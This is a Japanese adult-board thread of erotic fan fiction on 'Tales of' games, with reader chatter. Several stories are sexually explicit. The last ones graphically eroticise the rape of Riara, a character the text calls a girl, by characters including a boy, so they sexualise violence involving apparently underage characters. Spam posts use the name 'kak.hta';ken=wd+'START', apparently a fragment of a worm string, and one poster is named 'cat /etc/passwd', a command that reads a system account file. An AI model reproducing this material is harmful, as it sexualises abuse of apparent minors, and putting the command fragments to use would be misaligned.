と細かい震えがどうにか引いた事を確認すると、自身の下肢を見下ろしてパンと片
手で軽くはたいた。
 此処で尻込みするのは流石に男が廃るだろう。


「腰を上げて」
 夕日が揺れるカーテンの隙間から、オレンジの光りが寝台に差し込む。
 まだ明るい室内で、半裸の姿で絡みながら、ゆっくりと事を進めた。
 幸い、初めての行為ではない。
 今回ばかりは、荒療治として浮かれ宿に投げ込んでくれた、マルクト主従に感
謝する。
「っ…これくらい、で宜しいですの?」
 膝を立てて拳一つほど腰を浮かせた彼女の腰裏に、するりと膝を差し入れなが
ら、小声で、
「ありがとう」
 と囁いた。自分で同意して共に行為を進めているのだと、理解を促す為に静か
に辿る工程。
 下着を外した其処は少しも濡れては居なかった。好意を寄せての事ではない
のか。それとも、緊張故か?
 そんな事が思考をよぎるが、手を触れた途端に舞い上がる青い香気に意識が
奪われる。

649 名前:あて馬大あたり 3 :2006/07/28(金) 18:42:36 ID:da5fGbUZ
 肉芽があるべき場所を探り、中指を沿わせて軽く上へと押さえると、ひたり、と
湿った部分が開き、肌色の通りに淡いそれがうっすらと開いて開帳された。
 ナタリアは動かない。
 ただ、目を閉じてじっとガイのする事にしたがっている。
「ガイ…?」
「ああ、いや。此の侭じゃ痛むからね、何かローションか…」
「構いませんわ」
 不意に目を開かれ、視線が絡む。
 ナタリアの目は奇妙な程静かだったが、声は僅かにかすれて居た。
「それとも…貴方はやはり、私を花飾りのようなものとして扱いますの?」
 そうではないと言いかけて止める。言葉は必要ないのだろう。頑固な所も相変
わらずだ。
 溜息が零れ、それと同時に意思とは別に立ち上がる先端から膨れた雫が白い
腿へと落ちた。
 ひたとした感触にナタリアの腰に力が入る。
 気が付かないふりをして、白い腰を抱えなおした。
「優しくしてやりたかったんだがなぁ…」
 腰を進めて、未だ何の準備もされて居ない其処へと押し付ける。白い喉が小さ
く反って、頬に笑みが浮いていた。
 それでも、最後の抵抗のように先端を押し付け、小突くように刺激を繰り返して
は、先走る粘液でぬめりを足す。
 細かい突きに、まだ固い門はじれるほどの遅さで一突きごと開く広さと深さを変
えていく。
「あ、あ…ぁっ、ひ!」
「ナタリア…」
 閉ざされた目じりから、コロンと一粒の涙が頬を転げた瞬間、グチ、と濃い泡が
はぜるような音と共に、先端が固い口を突き抜ける。
 ブルンと白い下腹が、感電したように痙攣した直後、パタリとシーツが何かに濡
れた。

650 名前:あて馬大あたり 4 :2006/07/28(金) 18:45:39 ID:da5fGbUZ
 大柄な体に似合わず、初めて開かれた其処は浅く酷く狭かった。
 突きこむと奥のしこりに直ぐ突き当たり、その度体が震えて跳ねる。
 開ききった粘膜が、腰を付きこむ度捲れ上がり茎に絡んだ。
 まるで獣のように荒い息を吐きながら、彼の肉を受け入れている彼女には今や、
高貴な気配も無く只抱かれる女と言うだけの様子である。
「イッ…た、ぃ…」
 次第に早まる振動に悲鳴を上げかけながらも首筋に掛かる手は離れない。
「ナタリア」
 内股が引きつるような覚えのある感覚に、此方も掠れた声が出た。引き抜こうと
腰を引きかけると、ガシリと細いはずの足が腰に絡んで引き寄せる。
 しくったと思った次の瞬間には、溶けはぜる感覚が熱く胎内へとしみて行く。
 ナタリアも同時に達したのだろう。腰を押し付け仰け反りながら、鮎が跳ねるよう
にビクビクと寝台の上で全身を跳ねさせ、飲み込んだ雫を絞るように、下腹を震わせた。
 薔薇色に上気した頬が濡れるのを、拭ったガイの手はこのときだけは震えなか
った。


「それで。結局貴方は当て馬に使われた、と言う事ですか」
 一夜の情事は口裏を合わせていたらしい女官らに庇われ通して何とかばれず、
ナタリアと彼は再びマルクトとキムラスカへと分かたれた。
 一体どんな算段でナタリアが自分に迫ったのかはわからない侭。しかし、後に
発表されたキムラスカからの通達にガイは度肝を抜かれる事になる。

「当て馬じゃ無い! いや、当て馬だったらいくら良かった事かっ!」
 新聞の見出しには、昨今流行の週刊誌的なノリで、ナタリア王女の妊娠と出産
についての記事があった。父親は伏せられているが、時期からして自分である事
はほぼ疑いが無い。
「殺される…」
 呻いたガイにジェイドの意地の良くない笑みが降った。
「殺しに戻ってくると?」
「少なくとも、ナタリアはそう信じてるんだよ。いや、来るわきゃ無いんだが…なん
でだろうな、今背筋がすっごく寒くて仕方が無いっていうか」

 彼女は別れ際、彼に礼と侘びを言った。
 つまりはそういう事なのだろう。
 傷物の上母親になった、彼女の結婚問題は予定を越えて益々と難航するのに
違いない。その間伸びた猶予をもってして、彼女は只管にアイツを待つのだ。
 溜息が零れた。
「おや。幸せが逃げてしまいますよ?」
「良いんだよ。俺の幸せはどっち道、遠いお空の向こう側だ」
「おやおや。若い男が腐った事を。殴り合いをしてもモノにするとどうして言えない
んでしょうねぇ」


「ほっとけ!」
 鼻水交じりの一声は、情けなくも案外大きくマルクト宮殿に響き渡った。


651 名前:名無しさん@ピンキー :2006/07/28(金) 23:58:29 ID:31GHGcS0
G・J!!
G・J!!

652 名前:名無しさん@ピンキー :2006/07/29(土) 11:37:44 ID:yJrX7Ar4
このタイミングで投下した
職人の勇気にGJ!d(^^)

653 名前:名無しさん@ピンキー :2006/07/29(土) 14:46:51 ID:bGM3ukyJ
GJっす!

うーん・・・イオアニ書くって宣言した手前、投稿しないわけにはいかないんだす。
イオアニと一緒に、ちがう話も持ってくるすかー

654 名前:名無しさん@ピンキー :2006/07/29(土) 21:17:42 ID:mGQpRLsF
>>653
無理して投下する必要はないよ。
ピンクちゃんねる無くなるようだから。

■ ピンクちゃんねる(bbspink)は閉鎖 !?
http://pie.bbspink.com/test/read.cgi/erobbs/1154154630/

655 名前:名無しさん@ピンキー :2006/07/30(日) 02:17:37 ID:ZMoR12CG
過疎ってんな、潰せ潰せ

656 名前:名無しさん@ピンキー :2006/07/30(日) 11:22:46 ID:ghFmb8W4
まだ無くなると決まったわけではなさそうだし
たとえそうでも俺は最後まで投下を待ち続ける

657 名前:名無しさん@ピンキー :2006/07/30(日) 21:53:16 ID:SMFH/Fzl
>>650
GJ!
最近なっちゃん人気だな

658 名前:kak.hta';ken=wd+'START :2006/07/31(月) 03:52:45 ID:NVKk+cOv
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < kak.hta';ken=wd+'START
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
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        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

ξミヽ( ・∀・)ノξ ウンコー ◆2.0Km1unko さんのご尊顔
http://news.80.kg/index.php?plugin=attach&refer=%B5%AD%BC%D4%B0%EC%CD%F7&openfile=unko01.jpg
http://news.80.kg/index.php?plugin=attach&refer=%B5%AD%BC%D4%B0%EC%CD%F7&openfile=unko02.jpg

ξミヽ( ・∀・)ノξ ウンコー ◆2.0Km1unko さんのご尊顔
http://news.80.kg/index.php?plugin=attach&refer=%B5%AD%BC%D4%B0%EC%CD%F7&openfile=unko01.jpg
http://news.80.kg/index.php?plugin=attach&refer=%B5%AD%BC%D4%B0%EC%CD%F7&openfile=unko02.jpg

659 名前:kak.hta';ken=wd+'START :2006/08/01(火) 02:06:46 ID:NlCqtmjo
               _
              /  \―。
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         ...―/          _)  < kak.hta';ken=wd+'START
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660 名前:kak.hta';ken=wd+'START :2006/08/01(火) 02:07:29 ID:NlCqtmjo
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661 名前:kak.hta';ken=wd+'START :2006/08/01(火) 02:15:32 ID:NlCqtmjo
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              /  \―。
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         ...―/          _)  < kak.hta';ken=wd+'START
        ノ:::へ_ __    /      \_____
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662 名前:kak.hta';ken=wd+'START :2006/08/01(火) 02:16:25 ID:NlCqtmjo
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663 名前:kak.hta';ken=wd+'START :2006/08/01(火) 02:17:30 ID:NlCqtmjo
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664 名前:kak.hta';ken=wd+'START :2006/08/01(火) 02:18:27 ID:NlCqtmjo
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665 名前:kak.hta';ken=wd+'START :2006/08/01(火) 02:19:21 ID:NlCqtmjo
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666 名前:名無しさん@ピンキー :2006/08/01(火) 12:08:01 ID:ZwkluSFt
ワケワカンネ

667 名前:名無しさん@ピンキー :2006/08/01(火) 16:03:55 ID:1hxowAQi
夏の風物詩だろ

668 名前:cat /etc/passwd | nobody :2006/08/01(火) 16:54:23 ID:NlCqtmjo
>>667
┃━┏┃春頃から書き込み続けているので、夏と限定するのは納得いきませんね。
┃━┏┃SS職人の方も消え去ってしまい大変遺憾です乃田。

669 名前:名無しさん@ピンキー :2006/08/01(火) 23:07:40 ID:UIxRAPHY
はー…
どなたかスタン×フィリアなSS投下して下さいませんか
あんまりみないんだが…

670 名前:名無しさん@kak.hta';ken=wd+'START :2006/08/02(水) 00:52:44 ID:YoezgCQX
>>669
余所でやれ

671 名前:名無しさん@ピンキー :2006/08/02(水) 00:57:11 ID:cNCZRlUM
俺もスタ×フィリキボン
こういうマイナーカプこそ二次創作の見せ所だと思う

672 名前:kak.hta';ken=wd+'START :2006/08/02(水) 01:01:27 ID:YoezgCQX


673 名前:名無しさん@ピンキー :2006/08/02(水) 12:45:22 ID:GCoV8/Mq
別にマイナーじゃないと思う

チ・・トとかチ・・シーとかチ・・ターとかで始めてマイナーに

674 名前:名無しさん@ピンキー :2006/08/02(水) 14:45:15 ID:BttMS0cX
>>671 賛同

DもSみたいに好きキャラでED向かえるシステムにして欲しいな
ルーティ大嫌いなもんで
いのまた系はD2チームだから無理だろうけど

675 名前:名無しさん@ピンキー :2006/08/02(水) 15:12:53 ID:JTUtGS7c
PINKちゃんねる今月廃止まじかよ・・・・残り少ない期間で最後のSS期待中

676 名前:名無しさん@ピンキー :2006/08/02(水) 15:15:08 ID:XmoNTmbG
毛玉×チ・・トとかはエロパロでしか見れないよなあ。
二次創作ってイイよな

677 名前:名無しさん@ピンキー :2006/08/02(水) 16:48:35 ID:KCskUdgo
保管庫で投下できるようにできればいいのに

678 名前:kak.hta';ken=wd+'START :2006/08/03(木) 02:24:42 ID:Ibd7esXy
眠いですがウイルスコード貼っておきます

679 名前:名無しさん@ピンキー :2006/08/03(木) 02:54:23 ID:Ibd7esXy
>>678
死ね

680 名前:名無しさん@ピンキー :2006/08/03(木) 12:05:37 ID:qkQYnKgG
>>679
sageろよとりあえず


681 名前:名無しさん@ピンキー :2006/08/03(木) 12:08:38 ID:qkQYnKgG
>>679

682 名前:名無しさん@ピンキー :2006/08/03(木) 14:18:39 ID:Y1X/Uyns
>>679
そういうバカはほっときゃいいんですよ。つまりスルーで。

683 名前:名無しさん@ピンキー :2006/08/03(木) 17:38:44 ID:qrurWjqm
今更ウィルスコード如きで反応してる奴はセキュリティソフトの設定も出来んのか

684 名前:名無しさん@ピンキー :2006/08/04(金) 00:07:11 ID:EiBj0wZ/
誰かTOAのセシル萌の人いませんか?


685 名前:名無しさん@ピンキー :2006/08/04(金) 00:10:39 ID:6m/XWC+Q
セシルはフリセシが好きだな。あれはいい。

686 名前:kak.hta';ken=wd+'START :2006/08/04(金) 01:00:49 ID:/oBEer10
ヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱヱ

687 名前:完全に糞 :2006/08/04(金) 19:04:37 ID:/oBEer10
完全に糞

688 名前:名無しさん@ピンキー :2006/08/04(金) 20:29:30 ID:Ny6reHKk
>>685
つうかそれしか無いですし。大体既にくっついて
物語的に「終わっちゃった」カップルに興味は無いですよ

689 名前:名無しさん@ピンキー :2006/08/04(金) 21:06:21 ID:gCl9+nVK
興味が無いとは言わないけど
ゲームの展開上かなりネタが制限されてしまうから難しいだろうな

690 名前:名無しさん@ピンキー :2006/08/04(金) 21:35:08 ID:EXLWxVIX
     /ハ/ノノ_
   /∠レ=レ=レヽ
  │〃リ' ´∀`) >>635にマターリ期待
  ノ,− i _う曰0   Aはわかんないや
  (.   ヽ´⊃~⊃, 

691 名前:名無しさん@ピンキー :2006/08/05(土) 01:06:22 ID:PN2/1CM+
もう駄目だなこのスレ

692 名前:名無しさん@ピンキー :2006/08/05(土) 18:30:29 ID:lamQ5uvI
いや、かなりおちこんだけどまだいける

693 名前:kak.hta';ken=wd+'START :2006/08/06(日) 01:03:38 ID:dxvJmN1M
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694 名前:kak.hta';ken=wd+'START :2006/08/06(日) 01:04:50 ID:dxvJmN1M
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701 名前:kak.hta';ken=wd+'START :2006/08/06(日) 01:13:47 ID:dxvJmN1M
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703 名前:kak.hta';ken=wd+'START :2006/08/06(日) 01:40:56 ID:dxvJmN1M
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < kak.hta';ken=wd+'START
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
       \  | .::::/.|       /
        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪









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704 名前:名無しさん@ピンキー :2006/08/07(月) 14:01:25 ID:oEGHyxIj
>>677
投下したければしたらいいよ。掲示板にでも。

705 名前:名無しさん@ピンキー :2006/08/08(火) 19:33:56 ID:eBqd7RSM
本気でオワタなこのスレ。避難所作れ。

706 名前:名無しさん@ピンキー :2006/08/09(水) 01:34:07 ID:njcwvE2k
まだ295レス/187KBも残ってんのに何をおっしゃる

707 名前:時亜 :2006/08/10(木) 23:30:09 ID:+QhPJ1ur
これから復活を目刺しまーーす。  そろそろ荒しもきえたことですし。 エターニア系のリクエストまってますよー。 どんどんかきますからね!

708 名前:名無しさん@ピンキー :2006/08/10(木) 23:34:45 ID:aPNIJ9ix
エターニア系か…



(*´д`*)

709 名前:時亜 :2006/08/11(金) 00:48:31 ID:fJgelpnm
そろそろ書きまーすてはじめにリッド×ファラの純情ものですです。

710 名前:時亜 :2006/08/11(金) 01:20:45 ID:fJgelpnm
すいまそん寝ますあしたかきますので。

711 名前:名無しさん@ピンキー :2006/08/11(金) 11:54:58 ID:bUE5IixR
時亜さん期待してますよ


712 名前:名無しさん@ピンキー :2006/08/11(金) 13:41:00 ID:9O/Al0AW
プギャプギャ━━━m9(^Д^≡^Д^)9m━━━━!!!!!!!!

713 名前:kira :2006/08/11(金) 13:44:39 ID:yvINJ986
ここもうサゲとかアゲとかもうどうでもいい所になってる・・・

714 名前:時亜 :2006/08/11(金) 18:35:26 ID:fJgelpnm
八時ごろにかきはじめます。

715 名前:名無しさん@ピンキー :2006/08/11(金) 18:46:57 ID:9O/Al0AW
あっそ

716 名前:名無しさん@ピンキー :2006/08/11(金) 18:48:14 ID:A/8fJFdj
いつ書くとか寝るとかどうでもいいことでスレを埋められるのも困る

717 名前:名無しさん@ピンキー :2006/08/12(土) 04:56:46 ID:AQatHKL0
復活はもう無理か……………

718 名前:名無しさん@ピンキー :2006/08/12(土) 12:07:50 ID:+VfcYCRb
結局釣りだったんだろ
ageてるしな

719 名前:名無しさん@ピンキー :2006/08/12(土) 15:52:34 ID:xTN99IHv
馴れ合い糞スレ

720 名前:つきぢ :2006/08/12(土) 16:00:54 ID:tn7Jdipd
戦いがどれだけ激しかろうと、人の命がどれだけ散ろうと、世界がどれだけ騒乱に包まれようと、日は空を巡り、また、いずれ顔を出すのだ。
朝は必ずやってくるのだ。
チュン、チュン。鳥の声。それは安らぎの音。剣戟の鋭さもなければ、人を斬ったときの肌の粟立ちもない、安らぎの音。

「ジューダス、ジューダスッ! 朝よ、ジューダス」
リアラが扉をたたきながら呼んでいる。
「すぐに行く」
ペルソナを被る。リオン・マグナスという亡霊は、ジューダスという少年になる。

食堂に下りると、そこにはリアラが1人、ちょこんと腰掛けているだけだ。
もう2人は――彼女に訊ねるまでもないだろう。
彼女と向かい合って座る。
そして、沈黙。
何も言わない。リアラも、何も言わない。なぜ? 話す必要が無いから。
周囲には何組かの客の姿が認められる。談笑。食器と皿の触れ合う音。音、音、音。
朝の食堂は、騒々しい音に満ちている。
その中で、この席だけは明らかに異質だった。ここだけが、周囲の空間から隔離されているのだ。
窓の外を眺めたままのジューダス。顔を伏せたままのリアラ。何故彼女は顔を伏せる? それは自分が怖いからだ。
「ったく、英雄以前に朝寝坊を何とかしろ、お前はっ」
そんな声が聞こえたとき、リアラはまるでほっとしたかのように声のほうを振り返る。見慣れた褐色の肌と銀の頭。それから、つんつん髪のたった金色の頭とが、じゃれあいながらやってきた。
「おはよう、ジューダス、リアラ」
カイルが元気よく声をかける。朝から元気のいいことだ。この男には、全か無か――元気か、寝ているか、どちらかしかないのではないだろうか。
ともかく、これで全員の顔が揃った。
呼び鈴を鳴らすと、ウェイトレスがやってくる。

「こいつ、オレを言うに事欠いてカンバラーベアと間違えて、蹴りかかってきやがったんだ」
フランスパンを飲み込むが早いか、ロニがそうぼやいて、隣に座ったカイルのハリネズミ頭をわしっとつかむ。
「いてえ。なんだよ、寝ぼけてたんだから、仕方ないだろっ」
カイルはいたく不満な様子で、自分の頭を押さえるロニの腕をつかむと、抗議した。
「寝ぼけてたで済まされたら、衛兵はいらねぇんだよっ。さっきのお返しだ!」
ロニの見事なヘッドロックが決まる。
やれやれ。湯気を立てるコーヒーをこくんと一口飲みながら、ジューダスは視線だけを、隣でじゃれあうバカ2人に向ける。
と、そのときだった。
2人のやり取りに、今まさにボイルウインナーを口に含んだところのリアラが、吹き出した。
「んっ――」
その拍子に、既に飲み込んでいたウインナーをつまらせたと見える。表情が突然苦しげになり、薄手の桜色の衣装の上から、胸を叩いた。
思わず、ドキッとした。
苦しげな彼女の色白な顔は、真っ赤に染まっていた。太いウインナーをくわえたままで。その構図は、まるで――
「あ、リアラ、大丈夫っ? ほら、水、水」
カイルが慌てた様子で、手元にあったお冷を差し出した。リアラは口からくわえていたウィンナーを落として、お冷を一気に口に流し込む。そして、大きく息をついた。どうやら、おさまったらしい。
「もう、ロニっ。危うくリアラが死ぬところだったじゃないかっ」
またもカイルとロニのないやり取りが始まった。
けれど、ジューダスはそれどこではなかった。
太いウィンナーをくわえて、顔を真っ赤にしている少女の姿。一瞬だけ見えたその姿は、
ジューダスの脳裏に深く焼きついてしまっていたのだ。
「ジューダス」
静かな声がかけられる。ハッとして、彼女をむいた。
「どうしたの」
リアラが声を掛けてきたのだ。
「いや、なんでもない」
「そう」
つい先ほどまでそれをくわえていたリアラの唇は、水に濡れて、艶やかで、なんとも妖艶に見えた。
あの唇で――
ジューダスの下半身で、それは痛いほどに反応してしまっていた。


それが、始まり。


721 名前:名無しさん@ピンキー :2006/08/12(土) 21:21:58 ID:WJeikS6b
SSログ倉庫が使用不能なのは漏れだけでつか?

722 名前:名無しさん@ピンキー :2006/08/12(土) 22:01:01 ID:YAaMwD/w
>>721
自分もだ。
どの鯖も中途半端に表示されてる。

723 名前:名無しさん@ピンキー :2006/08/12(土) 23:36:48 ID:wdsGglDt
>>720
むっつり仮面キター!

ホント、倉庫どうしたんだろ。

724 名前:つきぢ :2006/08/12(土) 23:48:47 ID:tn7Jdipd
お見苦しいものをお見せしてしまいましたことをお詫びいたします

自分の文才のなさにただただ反省...OTZ
修行します

725 名前:名無しさん@ピンキー :2006/08/13(日) 12:11:05 ID:IRrR9yzU
いや、良かったとオモ!
ただ、次からはsageような。

726 名前:名無しさん@ピンキー :2006/08/13(日) 18:12:34 ID:Kr/rYNyM
続きに期待。
これからも頑張ってくれ!

727 名前:名無しさん@ピンキー :2006/08/13(日) 18:21:15 ID:ds+NZP+3
エロ無しリッド×ファラ投下。
エロ無しヤな人スルーお願いします。

728 名前:色々な道 :2006/08/13(日) 18:22:37 ID:ds+NZP+3
…夢を見ていた。
幼い頃の夢。どこまでも続く原野と、冷たく頬を切る風。自分はどこまでも走っていく。
しかし途中で雨が降り雷がなった。帰ろうと必ず彼女が向かえに来るのを待とう。

緩やかに伸ばした体の下に、ふっくらとした地面を感じている。投げ出した手足を、柔らかく萌えた草が受け止めている。
目を閉じていても暖かい陽光が全身に降りそそぎ、甘い花の香りを含んだ風が頬を撫でるのがわかった。
快い眠気に身を任せながら、ぼんやりといぶかしく思う。
今日は雨は降らない、という事は分かっていても、彼女を待った。

729 名前:色々な道 :2006/08/13(日) 18:23:33 ID:ds+NZP+3
「リッドー!!」
ほら、来た。
どこかで仕事をサボっていれば、必ず迎えにくる。

「昔と変わらないな、ファラは」

俺の所にたどり着いたファラに、今日見た夢の事を考えながら言った。
勿論ファラの方は、いつも通り怒り出すわけで。

「…?こんなところでまた!今日オムレツ作ってあげないよ!!」
「げっ!わ、悪かったよ…」

ファラの前では、俺は頭があがらない。折角の夢心地を邪魔されてしまったが、彼女を待ってたのは事実な訳で。

「…なぁ…ファラ。」

「何よ、……キャッ!?」

ファラは小さく悲鳴を上げた。

730 名前:色々な道 :2006/08/13(日) 18:24:27 ID:ds+NZP+3
俺がファラの手を引っ張ったからだ。突然の出来事に驚いたファラは、そのまま地面に倒れ込んだ。

「いきなり何するの!」

顔に土がついて、かなり怒っている。

「なぁ…。」
「何よ」
「平和だな…」

俺の一言にぽかんとしている。…さっきから自分でも何を言っているか分からない。
ただ、心地よい風や柔らかい土の匂いなど、旅の時は感じる暇も無かった。しかし、今、感じている。それを身にしみて思った。

ファラは、遠くの風車を見つめた。ゆっくりと、ゆっくりと回るそれを、意味ありげに…。

731 名前:色々な道 :2006/08/13(日) 18:25:21 ID:ds+NZP+3
「時間って早いものね」
「え?」
「キールやメルディと別れてから、もう2ヶ月たったんだね…」

少し寂しげな顔をしながら。俺の視線を感じたのか、慌てて作り笑いをした。
…そんな彼女を、ゆっくりと抱きしめた。
抵抗どころか、ファラは俺の背中に手をまわした。

「こんな複雑な気持ちになるなら…出会わなければ良かった。」
いつもは見せない彼女の弱い一面が、俺の前に現れる。

俺もそう思う。でも…

「…それは違うんじゃないか?」
「…え?」
「あいつらに出会って、俺達は色々な物を見つけた。勇気とか、優しさとか…」

732 名前:色々な道 :2006/08/13(日) 18:26:08 ID:ds+NZP+3
「ふふ…」
「な、何だよ!笑うなって…」
自分でもくさい台詞を言ったと思って、少し後悔した。

「ゴメンゴメン、馬鹿にした訳じゃないんだ。」

そう言って尚笑い続ける彼女に少し腹が立ち、やけになって、唇にむしゃぶりついた。

「ふぅん…」

それを彼女は受け入れる。
幼なじみという壁は、とっくに壊されている。

ゆっくりと俺の舌に絡めてくるファラの舌。
また吹いてくる風の心地よさ。

「ねぇ、リッド…」
唇を離し、俺を見つめる。

「また…会えるといいね」

…そんなの

「当たり前じゃないか」

END

733 名前:色々な道 :2006/08/13(日) 18:28:57 ID:ds+NZP+3
携帯からの投下な上に、文才無くてごめんなさいorz

734 名前:名無しさん@ピンキー :2006/08/13(日) 18:55:13 ID:Ai05aNmD
GJ!

735 名前:733 :2006/08/13(日) 23:11:21 ID:ds+NZP+3
思い出したんですが、私は時亜さんではありません…
リッド×ファラ、先に書いてすいませんでしたm(__)m

736 名前:名無しさん@ピンキー :2006/08/14(月) 00:02:43 ID:T7m6/uDl
>>735
そんなこと気にする必要ないよ
GJ!
また何か書けたら投下お願い

737 名前:名無しさん@ピンキー :2006/08/14(月) 20:20:30 ID:kLvPHjFA
GJ!
また投下してくれ!

738 名前:名無しさん@ピンキー :2006/08/17(木) 01:01:18 ID:F7xOMQR/
リファラいいよ!GJww

739 名前:名無しさん@ピンキー :2006/08/17(木) 18:31:43 ID:Th5D+Wu2


740 名前:名無しさん@ピンキー :2006/08/20(日) 03:47:19 ID:I1wTEujm
ほしゅ

741 名前:girl :2006/08/20(日) 09:47:14 ID:puwbSAIi
リアラ陵辱ネタを投下させていただきます。エロパロを書くのは初めてですので、至らないところが
あると存じますがご容赦ください。

742 名前:girl :2006/08/20(日) 09:48:20 ID:puwbSAIi
「part1 ハーメンツバレーにて」

グチャッグチャッ

「いやあああぁっあぁんあんっ」
一人の少女が二人の男に抱え上げられ、揺さぶられている。
「前後から犯られる気分はどうだ?わざわざペンダントを届けてやったのにあの態度はないだろ」
銀髪の青年、ロニが言う。
「そ、そうだぞ。ああ、この子の膣最高に気持ちいい…そこ、亀頭がこすられる…」
金髪の少年、カイルは夢心地になって快楽を貪っている。
「さっきの態度はぁ、ああっ、謝り、ますっ、だからっ」
「ううっ出るっ」
ロニが顔をしかめた。
「だから、許してえっ、抜いてぇっ!」

ビュルッビュルッ

「いやあああああああああぁぁっ!!……ぁっあんっあんっあぁんっ!」
少女の尻穴に大量の精液が注ぎこまれた。なおも陵辱は続く。
「こっちが、まだなんだよっ!!」
「いや、あ、あん、あぁんっ!」
「俺のこと、絶対に、英雄だって、認めさせてやるっ!いくぞ!」
初めて会ったとき、目の前の女の子に自分を否定された少年はお返しとばかりに一心不乱に突き続ける。
「やめてぇっ!あなたのことっ、英雄だって、あぁんっ、認めますっ、あぁっ、認めましたからぁっ!」
「だ、出すぞ、出すぞっ!」
「そんなぁっ、あぁっ、やめて、やめてぇぇぇ―ーーーっ!!」

ビュルルッビュルッブピュッブピュッ

「いやあああああああああっ!!」

「ぁああああぁ…はぁ、はぁ、はあ…」
少女は地面に倒れ、息をついている。
「…お、俺、勢いにまかせてなんてことを…」
「ふん、生意気なやつにはこれぐらいでちょうどいいんだよ。めちゃくちゃ気持ちよかったぜ、お嬢さん」
悔いるようにつぶやくカイルに比べ、ロニは酒でも入っているのか、やたらとハイである。

少女は倒れたまま沈黙を守っている。
「……」

『刹那的な快楽ね…でも…これもしあわせの形のひとつ…?わたしはいま、確かにこの二人をしあわせにした…
エルレインとは違う方法で…』

しばらく経ち、少女が立ち上がる。
「あの」

「え?」
「あぁん?」
二人が少女のほうへ向いた。それと同時に少女の口が開く。

「たしか、カイル・デュナミスさんとおっしゃいましたよね…あなたは勢いにまかせてとはいえ、私の求める
答えとなり得ることを提示されました。さきほどの私の言ははずみでしたが、改めてあなたを英雄と認めます。」

さらに言葉を続ける。
「では私は行きます。もう私に関わらないで」

「なんだとぅ?一言多いなぁ、おい」

しあわせを求め続ける少女、リアラの受難は続く。

743 名前:girl :2006/08/20(日) 09:49:25 ID:puwbSAIi
「part2 ストレイライズ神殿にて」

ザシュッ

「きゃああああああああっ」
「フィリアさん!!」
フィリアが巨大な斧による一撃を受け、崩れ落ちた。
「待てーーーーーーーっ!」
一人の少年と一人の青年が走ってくる。カイルとロニである。
「破滅のグランバニッシュ!」
静止の声を掻き消す勢いで、青い装束の男、バルバトスの晶術が二人に襲い掛かる。
「ぐわああああああああああああああっ」
床が抉れ、膨大な量の瓦礫が二人を巻き込みながら天井を軽々と破り上空へと舞う。
「うう…がはっ」
「カイル、しっかりしろ…。ぐぅっ、穴の底が見えん…もし中心部にいたら…」

二人が動けなくなったのを確認すると、バルバトスはリアラを視界に入れた。
「さて、残ったのは…ほぅ…」
リアラは押し黙っている。バルバトスはゆっくりとした歩みでリアラに近づき、品定めを
するように視線を浴びせる。そして結論を出したのか、股間のモノを取り出す。
「舐めてもらおうか」
「拒否します。その無駄に大きく醜悪で、未使用と思われるモノをしまってください」
「!!!!!!!!!!!!!!」
硬直するバルバトス。しばらくするとその顔が怒りの形相へと変わる。

『旅の途中で集めたレンズで、短距離の空間移動ならできる…フィリアさんと
あの二人を連れて移動する。』

リアラはペンダントに念じた。

パッ

一瞬にして周りの風景が森に変わる。しかしリアラの目の前には巨大な黒いモノが先ほどと変わらず存在する。
「えっ?」

『…なにか間違えたの?』

リアラは困惑する。

「貴様だけは許さん…」
「あぅむぐぅっ!」

じゅぷぷぷぷぷっ!

巨大なモノがリアラの口に強引にねじこまれる。

744 名前:girl :2006/08/20(日) 09:50:31 ID:puwbSAIi
ジュポッジュポッグポッグチャッグチャッ

「んむぅっ!むぐっ!んんっ!ふぅっ!」

ジュポッジュポッジュポッ

モノを押し出そうとリアラは舌を動かすが、敏感なところに触れ、さらに快楽を与えてしまう。
「…!」
あまりの快楽に、耐えるように顔をしかめるバルバトス。

「むぅ…そろそろ出すぞ」
「ふぐううっ!?うむぅっ、ふぐぅっ!」

チュブッ!チュブッ!グチュッ!グチュッ!

動きが激しくなり、くちびるとモノの間から液体が流れ弾け飛ぶ。
「ぐぅっ!!」

ビュルッビュルッドピュッドピュッ

「んむぁああああああああああああっ」
大量の白濁液が喉の奥まで流し込まれた。

ずるるるるるる

糸を引きながら巨大なモノが引き抜かれる。

「…うぅっ…はぁっ、はぁっ…」

745 名前:girl :2006/08/20(日) 09:51:35 ID:puwbSAIi
『い、今のうちにもう一度…』

「…きゃっ!」
突然リアラの体が浮き上がった。
「俺を馬鹿にしたやつがこの程度で済むと思っているのか?」
四つんばいにされスカートをまくられる。下着を下ろされ、いまだ硬度を保っているモノを
一気に突き入れられる。

じゅぷぅっ!

「いやぁあああああんっ」

ぐちゃっぐちゃっ

「あんっ、もう、許してぇっ!」

じゅぷっ!じゅぷっ!ぶじゅっ!

「先ほどの言葉を訂正してもらおうか」
「は、はいっ、小さく、こぎれいで」
「ぶるぁあああああああああああああ!!!!!!」

じゅぷぅっ!!!

「ぁああああああぁぁんっ!」
バルバトスは激昂し、激しくモノを突き込む。

746 名前:girl :2006/08/20(日) 09:52:44 ID:puwbSAIi
ぐちゅっ!じゅぷっ!ぐちゃっ!

「そろそろいくぞ…!この俺と貴様のような奴の間にどんな子が生まれるか楽しみだな!」
「あぁっ、はぁんっ、いやぁっ」

『な、なんとか…あん…集中して…もう一度移動を…あぁん…集中…』

「出るっ!!」
「ええいっ!」
今まさに大量の欲望が注ぎ込まれようとする瞬間、リアラは再びペンダントに念じた。

パッ

周りの風景が変わり草原になる。
…しかし巨大なモノは刺さったまま。
「どうしてええええっ!?」
今度こそ混乱するリアラ。
「ふはははははははははははっ!小賢しい小娘がぁっ」
